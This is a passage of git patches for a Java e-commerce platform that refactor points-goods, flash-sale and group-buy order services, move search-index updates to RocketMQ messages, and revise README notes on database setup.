a/framework/src/main/java/cn/lili/modules/promotion/mapper/PointsGoodsMapper.java +++ b/framework/src/main/java/cn/lili/modules/promotion/mapper/PointsGoodsMapper.java @@ -24,7 +24,7 @@ public interface PointsGoodsMapper extends BaseMapper { * @param queryWrapper 查询条件 * @return 积分商品分页 */ - @Select("select * from points_goods pg left join goods_sku gs on pg.sku_id = gs.id ${ew.customSqlSegment}") + @Select("select * from li_points_goods pg left join li_goods_sku gs on pg.sku_id = gs.id ${ew.customSqlSegment}") IPage getPointsGoodsVO(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); } From f0b43ddd32ad32d8c4e099eaf8e97672f27c7eae Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 15 Dec 2021 17:58:55 +0800 Subject: [PATCH 073/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=9F=A5=E8=AF=A2?= =?UTF-8?q?=E7=A7=AF=E5=88=86=E5=95=86=E5=93=81=E5=8F=82=E6=95=B0=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../promotion/PointsGoodsBuyerController.java | 6 ++++-- .../entity/vos/PointsGoodsSearchParams.java | 16 +++++----------- .../promotion/mapper/PointsGoodsMapper.java | 16 ---------------- .../promotion/service/PointsGoodsService.java | 11 ----------- .../serviceimpl/PintuanServiceImpl.java | 4 +--- .../serviceimpl/PointsGoodsServiceImpl.java | 16 ---------------- 6 files changed, 10 insertions(+), 59 deletions(-) diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java index 14dcf070..e4cd94d1 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java @@ -3,6 +3,7 @@ package cn.lili.controller.promotion; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; +import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.dos.PointsGoodsCategory; import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; @@ -35,8 +36,9 @@ public class PointsGoodsBuyerController { @GetMapping @ApiOperation(value = "分页获取积分商品") - public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { - return ResultUtil.data(pointsGoodsService.pageFindAllVO(searchParams, page)); + public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { + IPage pointsGoodsByPage = pointsGoodsService.pageFindAll(searchParams, page); + return ResultUtil.data(pointsGoodsByPage); } @GetMapping("/category") diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java index baf06ef6..11a7df3a 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java @@ -25,9 +25,6 @@ public class PointsGoodsSearchParams extends BasePromotionsSearchParams { @ApiModelProperty(value = "积分商品分类编号") private String pointsGoodsCategoryId; - @ApiModelProperty(value = "是否为推荐商品") - private Boolean recommend; - @ApiModelProperty(value = "积分,可以为范围,如10_1000") private String points; @@ -36,25 +33,22 @@ public class PointsGoodsSearchParams extends BasePromotionsSearchParams { public QueryWrapper queryWrapper() { QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(goodsName)) { - queryWrapper.eq("gs.goods_name", goodsName); + queryWrapper.like("goods_name", goodsName); } if (CharSequenceUtil.isNotEmpty(skuId)) { - queryWrapper.eq("pg.sku_id", skuId); + queryWrapper.eq("sku_id", skuId); } if (CharSequenceUtil.isNotEmpty(pointsGoodsCategoryId)) { - queryWrapper.eq("pg.points_goods_category_id", pointsGoodsCategoryId); + queryWrapper.eq("points_goods_category_id", pointsGoodsCategoryId); } if (CharSequenceUtil.isNotEmpty(points)) { String[] s = points.split("_"); if (s.length > 1) { - queryWrapper.between("pg.points", s[0], s[1]); + queryWrapper.between("points", s[0], s[1]); } else { - queryWrapper.eq("pg.points", s[0]); + queryWrapper.eq("points", s[0]); } } - if (recommend != null) { - queryWrapper.eq("gs.recommend", recommend); - } return queryWrapper; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/mapper/PointsGoodsMapper.java b/framework/src/main/java/cn/lili/modules/promotion/mapper/PointsGoodsMapper.java index 615a8672..6e81a047 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/mapper/PointsGoodsMapper.java +++ b/framework/src/main/java/cn/lili/modules/promotion/mapper/PointsGoodsMapper.java @@ -1,13 +1,7 @@ package cn.lili.modules.promotion.mapper; import cn.lili.modules.promotion.entity.dos.PointsGoods; -import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.core.toolkit.Constants; -import org.apache.ibatis.annotations.Param; -import org.apache.ibatis.annotations.Select; /** * 积分商品数据处理层 @@ -17,14 +11,4 @@ import org.apache.ibatis.annotations.Select; **/ public interface PointsGoodsMapper extends BaseMapper { - /** - * 积分商品分页 - * - * @param page 分页 - * @param queryWrapper 查询条件 - * @return 积分商品分页 - */ - @Select("select * from li_points_goods pg left join li_goods_sku gs on pg.sku_id = gs.id ${ew.customSqlSegment}") - IPage getPointsGoodsVO(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java index 15acc599..948d98f8 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java @@ -1,10 +1,7 @@ package cn.lili.modules.promotion.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.PointsGoods; -import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import com.baomidou.mybatisplus.core.metadata.IPage; import java.util.List; @@ -40,12 +37,4 @@ public interface PointsGoodsService extends AbstractPromotionsService pageFindAllVO(PointsGoodsSearchParams searchParams, PageVO pageVO); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index ffe90e9e..dfbcbc78 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -309,10 +309,8 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl paidOrders = listMap.get(PayStatusEnum.PAID.name()); //如待参团人数大于0,并已开启虚拟成团 diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java index ed53f833..92a2dec9 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java @@ -5,23 +5,19 @@ import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.mapper.PointsGoodsMapper; import cn.lili.modules.promotion.service.PointsGoodsService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.modules.search.service.EsGoodsIndexService; -import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; @@ -165,18 +161,6 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl pageFindAllVO(PointsGoodsSearchParams searchParams, PageVO pageVO) { - return this.baseMapper.getPointsGoodsVO(PageUtil.initPage(pageVO), searchParams.queryWrapper()); - } - /** * 检查促销参数 * From 78c0de664c731a56de64ff5ac3a3a99e764d125f Mon Sep 17 00:00:00 2001 From: Chopper Date: Thu, 16 Dec 2021 09:30:26 +0800 Subject: [PATCH 074/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E6=95=B0=E6=8D=AE?= =?UTF-8?q?=E5=BA=93=E6=8F=90=E7=A4=BA=E8=AF=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index d42cf646..b905ad59 100644 --- a/README.md +++ b/README.md @@ -63,11 +63,11 @@ PS:手机验证码为 ‘111111’ [点击跳转](https://docs.pickmall.cn/deploy/%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87.html) **商城数据库** -[点击跳转](https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql) +[点击跳转](https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql) 使用docker-compose部署数据库,自动初始化数据库不需要初始化、下载sql、导入sql这些操作 + +如果手动部署,才需要获取sql(PS:这里有与tag版本一致的sql,如果是历史版本,则docker项目也切换至历史版本获取sql即可,历史版本升级则根据java相聚的根目录DB目录下的升级sql,按需执行)。 -使用docker-compose部署,自动初始化数据库不需要额外处理 -这里有与tag版本一致的sql,根据tag获取sql,如果使用master代码 ### 功能列表 From 9f75e1fae8d6030663dc1be049650cd3906f71c4 Mon Sep 17 00:00:00 2001 From: Chopper Date: Thu, 16 Dec 2021 09:33:37 +0800 Subject: [PATCH 075/145] =?UTF-8?q?sql=E6=8F=8F=E8=BF=B0=E6=96=87=E5=AD=97?= =?UTF-8?q?=E4=BC=98=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index b905ad59..7707fe53 100644 --- a/README.md +++ b/README.md @@ -63,9 +63,9 @@ PS:手机验证码为 ‘111111’ [点击跳转](https://docs.pickmall.cn/deploy/%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87.html) **商城数据库** -[点击跳转](https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql) 使用docker-compose部署数据库,自动初始化数据库不需要初始化、下载sql、导入sql这些操作 +使用docker-compose部署数据库,自动初始化数据库,不需要手动下载等操作 -如果手动部署,才需要获取sql(PS:这里有与tag版本一致的sql,如果是历史版本,则docker项目也切换至历史版本获取sql即可,历史版本升级则根据java相聚的根目录DB目录下的升级sql,按需执行)。 +如果手动部署,才需要获取sql [点击跳转](https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql) (PS:这里有与tag版本一致的sql,如果是历史版本,则docker项目也切换至历史版本获取sql即可,历史版本升级则根据java相聚的根目录DB目录下的升级sql,按需执行)。 From 7dcdb43acfc1bee4016133be2188acbaddb4f793 Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 16 Dec 2021 15:02:06 +0800 Subject: [PATCH 076/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E4=BF=83=E9=94=80?= =?UTF-8?q?=E7=9B=B8=E5=85=B3=E4=BB=A3=E7=A0=81=EF=BC=8C=E4=BF=AE=E5=A4=8D?= =?UTF-8?q?bug?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../serviceimpl/GoodsSkuServiceImpl.java | 4 +- .../order/order/service/OrderService.java | 10 +++ .../order/serviceimpl/OrderServiceImpl.java | 77 ++++++++++++++++++- .../service/SeckillApplyService.java | 31 +++++++- .../AbstractPromotionsServiceImpl.java | 12 +-- .../serviceimpl/PintuanServiceImpl.java | 73 +----------------- .../serviceimpl/PointsGoodsServiceImpl.java | 31 +++++--- .../PromotionGoodsServiceImpl.java | 13 ++-- .../serviceimpl/PromotionServiceImpl.java | 6 +- .../serviceimpl/SeckillApplyServiceImpl.java | 44 ++++++++++- .../serviceimpl/SeckillServiceImpl.java | 48 +++++++++--- .../modules/search/utils/EsIndexUtil.java | 6 +- .../serviceimpl/StoreDetailServiceImpl.java | 9 +-- .../promotion/SeckillManagerController.java | 2 +- .../promotion/SeckillStoreController.java | 2 +- 15 files changed, 231 insertions(+), 137 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 5f1e2882..b7eef69b 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -504,8 +504,8 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //修改规格索引,发送mq消息 Map updateIndexFieldsMap = EsIndexUtil.getUpdateIndexFieldsMap( - MapUtil.builder().put("id", goodsSku.getId()).build(), - MapUtil.builder().put("commentNum", goodsSku.getCommentNum()).put("highPraiseNum", highPraiseNum) + MapUtil.builder(new HashMap()).put("id", goodsSku.getId()).build(), + MapUtil.builder(new HashMap()).put("commentNum", goodsSku.getCommentNum()).put("highPraiseNum", highPraiseNum) .put("grade", grade).build()); String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_FIELD.name(); rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(updateIndexFieldsMap), RocketmqSendCallbackBuilder.commonCallback()); diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java index e6396dcd..21ce926e 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java @@ -274,4 +274,14 @@ public interface OrderService extends IService { * @return 订单支付记录分页 */ IPage queryPaymentLogs(IPage page, Wrapper queryWrapper); + + /** + * 检查是否开始虚拟成团 + * + * @param pintuanId 拼团活动id + * @param requiredNum 成团人数 + * @param fictitious 是否开启成团 + * @return 是否成功 + */ + boolean checkFictitiousOrder(String pintuanId, Integer requiredNum, Boolean fictitious); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index 80458c32..52201b71 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -74,10 +74,8 @@ import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.net.URLEncoder; -import java.util.ArrayList; -import java.util.Date; -import java.util.List; -import java.util.Objects; +import java.util.*; +import java.util.stream.Collectors; /** * 子订单业务层实现 @@ -684,6 +682,77 @@ public class OrderServiceImpl extends ServiceImpl implements } + /** + * 检查是否开始虚拟成团 + * + * @param pintuanId 拼团活动id + * @param requiredNum 成团人数 + * @param fictitious 是否开启成团 + * @return 是否成功 + */ + @Override + public boolean checkFictitiousOrder(String pintuanId, Integer requiredNum, Boolean fictitious) { + Map> collect = this.queryListByPromotion(pintuanId) + .stream().filter(i -> CharSequenceUtil.isNotEmpty(i.getParentOrderSn())) + .collect(Collectors.groupingBy(Order::getParentOrderSn)); + + for (Map.Entry> entry : collect.entrySet()) { + //是否开启虚拟成团 + if (Boolean.FALSE.equals(fictitious) && entry.getValue().size() < requiredNum) { + //如果未开启虚拟成团且已参团人数小于成团人数,则自动取消订单 + String reason = "拼团活动结束订单未付款,系统自动取消订单"; + if (CharSequenceUtil.isNotEmpty(entry.getKey())) { + this.systemCancel(entry.getKey(), reason); + } else { + for (Order order : entry.getValue()) { + this.systemCancel(order.getSn(), reason); + } + } + } else if (Boolean.TRUE.equals(fictitious)) { + this.fictitiousPintuan(entry, requiredNum); + } + } + return false; + } + + /** + * 虚拟成团 + * + * @param entry 订单列表 + * @param requiredNum 必须参团人数 + */ + private void fictitiousPintuan(Map.Entry> entry, Integer requiredNum) { + Map> listMap = entry.getValue().stream().collect(Collectors.groupingBy(Order::getPayStatus)); + //未付款订单 + List unpaidOrders = listMap.get(PayStatusEnum.UNPAID.name()); + //未付款订单自动取消 + if (unpaidOrders != null && !unpaidOrders.isEmpty()) { + for (Order unpaidOrder : unpaidOrders) { + this.systemCancel(unpaidOrder.getSn(), "拼团活动结束订单未付款,系统自动取消订单"); + } + } + List paidOrders = listMap.get(PayStatusEnum.PAID.name()); + //如待参团人数大于0,并已开启虚拟成团 + if (!paidOrders.isEmpty()) { + //待参团人数 + int waitNum = requiredNum - paidOrders.size(); + //添加虚拟成团 + for (int i = 0; i < waitNum; i++) { + Order order = new Order(); + BeanUtil.copyProperties(paidOrders.get(0), order); + order.setMemberId("-1"); + order.setMemberName("参团人员"); + order.setDeleteFlag(true); + this.save(order); + paidOrders.add(order); + } + for (Order paidOrder : paidOrders) { + paidOrder.setOrderStatus(OrderStatusEnum.UNDELIVERED.name()); + orderStatusMessage(paidOrder); + } + } + } + /** * 订单状态变更消息 * diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java index 0a126c1d..b9244031 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java @@ -42,15 +42,31 @@ public interface SeckillApplyService extends IService { * @param pageVo 分页参数 * @return 限时请购申请列表 */ - IPage getSeckillApply(SeckillSearchParams queryParam, PageVO pageVo); + IPage getSeckillApplyPage(SeckillSearchParams queryParam, PageVO pageVo); /** - * 分页查询限时请购申请列表 + * 查询限时请购申请列表 * * @param queryParam 秒杀活动申请查询参数 * @return 限时请购申请列表 */ - List getSeckillApply(SeckillSearchParams queryParam); + List getSeckillApplyList(SeckillSearchParams queryParam); + + /** + * 查询限时请购申请列表总数 + * + * @param queryParam 查询条件 + * @return 限时请购申请列表总数 + */ + long getSeckillApplyCount(SeckillSearchParams queryParam); + + /** + * 查询限时请购申请 + * + * @param queryParam 秒杀活动申请查询参数 + * @return 限时请购申请 + */ + SeckillApply getSeckillApply(SeckillSearchParams queryParam); /** * 添加秒杀活动申请 @@ -72,4 +88,13 @@ public interface SeckillApplyService extends IService { */ void removeSeckillApply(String seckillId, String id); + /** + * 更新秒杀商品库存 + * + * @param seckillId 秒杀活动id + * @param skuId 商品skuId + * @param quantity 库存 + */ + void updateSeckillApplyQuantity(String seckillId, String skuId, Integer quantity); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java index afbd1789..8564ef73 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java @@ -2,7 +2,6 @@ package cn.lili.modules.promotion.serviceimpl; import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.json.JSONUtil; -import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; @@ -32,7 +31,7 @@ import java.util.*; * @author paulG * @since 2021/11/30 **/ -public class AbstractPromotionsServiceImpl, T extends BasePromotions> extends ServiceImpl implements AbstractPromotionsService { +public abstract class AbstractPromotionsServiceImpl, T extends BasePromotions> extends ServiceImpl implements AbstractPromotionsService { /** * 促销商品 @@ -264,13 +263,4 @@ public class AbstractPromotionsServiceImpl, T extends Ba } } - /** - * 当前促销类型 - * - * @return 当前促销类型 - */ - @Override - public PromotionTypeEnum getPromotionType() { - return null; - } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index dfbcbc78..0b0efbda 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.serviceimpl; -import cn.hutool.core.bean.BeanUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; @@ -34,8 +33,6 @@ import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.Date; import java.util.List; -import java.util.Map; -import java.util.stream.Collectors; /** * 拼团业务层实现 @@ -201,10 +198,7 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl> collect = orderService.queryListByPromotion(promotions.getId()) - .stream().filter(i -> CharSequenceUtil.isNotEmpty(i.getParentOrderSn())) - .collect(Collectors.groupingBy(Order::getParentOrderSn)); - this.isOpenFictitiousPintuan(promotions, collect); + this.orderService.checkFictitiousOrder(promotions.getId(), promotions.getRequiredNum(), promotions.getFictitious()); } } @@ -268,71 +262,6 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl> collect) { - //成团人数 - Integer requiredNum = pintuan.getRequiredNum(); - - for (Map.Entry> entry : collect.entrySet()) { - //是否开启虚拟成团 - if (Boolean.FALSE.equals(pintuan.getFictitious()) && entry.getValue().size() < requiredNum) { - //如果未开启虚拟成团且已参团人数小于成团人数,则自动取消订单 - String reason = "拼团活动结束订单未付款,系统自动取消订单"; - if (CharSequenceUtil.isNotEmpty(entry.getKey())) { - this.orderService.systemCancel(entry.getKey(), reason); - } else { - for (Order order : entry.getValue()) { - this.orderService.systemCancel(order.getSn(), reason); - } - } - } else if (Boolean.TRUE.equals(pintuan.getFictitious())) { - this.fictitiousPintuan(entry, requiredNum); - } - } - } - - /** - * 虚拟成团 - * - * @param entry 订单列表 - * @param requiredNum 必须参团人数 - */ - private void fictitiousPintuan(Map.Entry> entry, Integer requiredNum) { - Map> listMap = entry.getValue().stream().collect(Collectors.groupingBy(Order::getPayStatus)); - //未付款订单 - List unpaidOrders = listMap.get(PayStatusEnum.UNPAID.name()); - //未付款订单自动取消 - if (unpaidOrders != null && !unpaidOrders.isEmpty()) { - for (Order unpaidOrder : unpaidOrders) { - orderService.systemCancel(unpaidOrder.getSn(), "拼团活动结束订单未付款,系统自动取消订单"); - } - } - List paidOrders = listMap.get(PayStatusEnum.PAID.name()); - //如待参团人数大于0,并已开启虚拟成团 - if (!paidOrders.isEmpty()) { - //待参团人数 - int waitNum = requiredNum - paidOrders.size(); - //添加虚拟成团 - for (int i = 0; i < waitNum; i++) { - Order order = new Order(); - BeanUtil.copyProperties(paidOrders.get(0), order); - order.setMemberId("-1"); - order.setMemberName("参团人员"); - orderService.save(order); - paidOrders.add(order); - } - for (Order paidOrder : paidOrders) { - paidOrder.setOrderStatus(OrderStatusEnum.UNDELIVERED.name()); - } - orderService.updateBatchById(paidOrders); - } - } - /** * 更新记录的促销商品信息 * diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java index 92a2dec9..6e632980 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java @@ -2,9 +2,11 @@ package cn.lili.modules.promotion.serviceimpl; import cn.hutool.core.map.MapUtil; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.PointsGoods; @@ -15,10 +17,13 @@ import cn.lili.modules.promotion.mapper.PointsGoodsMapper; import cn.lili.modules.promotion.service.PointsGoodsService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.modules.search.service.EsGoodsIndexService; +import cn.lili.modules.search.utils.EsIndexUtil; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.GoodsTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import lombok.extern.slf4j.Slf4j; +import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -51,14 +56,22 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl promotionsList) { List promotionGoodsList = new ArrayList<>(); - Map skuPoints = new HashMap<>(); for (PointsGoods pointsGoods : promotionsList) { this.initPromotion(pointsGoods); this.checkPromotions(pointsGoods); @@ -73,16 +86,13 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl entry : skuPoints.entrySet()) { - Map query = MapUtil.builder(new HashMap()).put("id", entry.getKey()).build(); - Map update = MapUtil.builder(new HashMap()).put("points", entry.getValue()).build(); - this.goodsIndexService.updateIndex(query, update); + for (PointsGoods pointsGoods : promotionsList) { + this.updateEsGoodsIndex(pointsGoods); } } @@ -205,7 +215,10 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl query = MapUtil.builder(new HashMap()).put("id", promotions.getSkuId()).build(); Map update = MapUtil.builder(new HashMap()).put("points", promotions.getPoints()).build(); - this.goodsIndexService.updateIndex(query, update); + //修改规格索引,发送mq消息 + Map updateIndexFieldsMap = EsIndexUtil.getUpdateIndexFieldsMap(query, update); + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_FIELD.name(); + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(updateIndexFieldsMap), RocketmqSendCallbackBuilder.commonCallback()); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java index 6bac9eaf..2dc9ff90 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java @@ -18,6 +18,7 @@ import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; +import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; import cn.lili.modules.promotion.mapper.PromotionGoodsMapper; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.FullDiscountService; @@ -264,16 +265,14 @@ public class PromotionGoodsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(SeckillApply::getSeckillId, promotionId).eq(SeckillApply::getSkuId, skuId); - SeckillApply seckillApply = this.seckillApplyService.getOne(queryWrapper, false); + SeckillSearchParams searchParams = new SeckillSearchParams(); + searchParams.setSeckillId(promotionId); + searchParams.setSkuId(skuId); + SeckillApply seckillApply = this.seckillApplyService.getSeckillApply(searchParams); if (seckillApply == null) { throw new ServiceException(ResultCode.SECKILL_NOT_EXIST_ERROR); } - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(SeckillApply::getSeckillId, promotionId).eq(SeckillApply::getSkuId, skuId); - updateWrapper.set(SeckillApply::getQuantity, quantity); - seckillApplyService.update(updateWrapper); + seckillApplyService.updateSeckillApplyQuantity(promotionId, skuId, quantity); } else { LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); updateWrapper.eq(PromotionGoods::getPromotionType, typeEnum.name()).eq(PromotionGoods::getPromotionId, promotionId).eq(PromotionGoods::getSkuId, skuId); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java 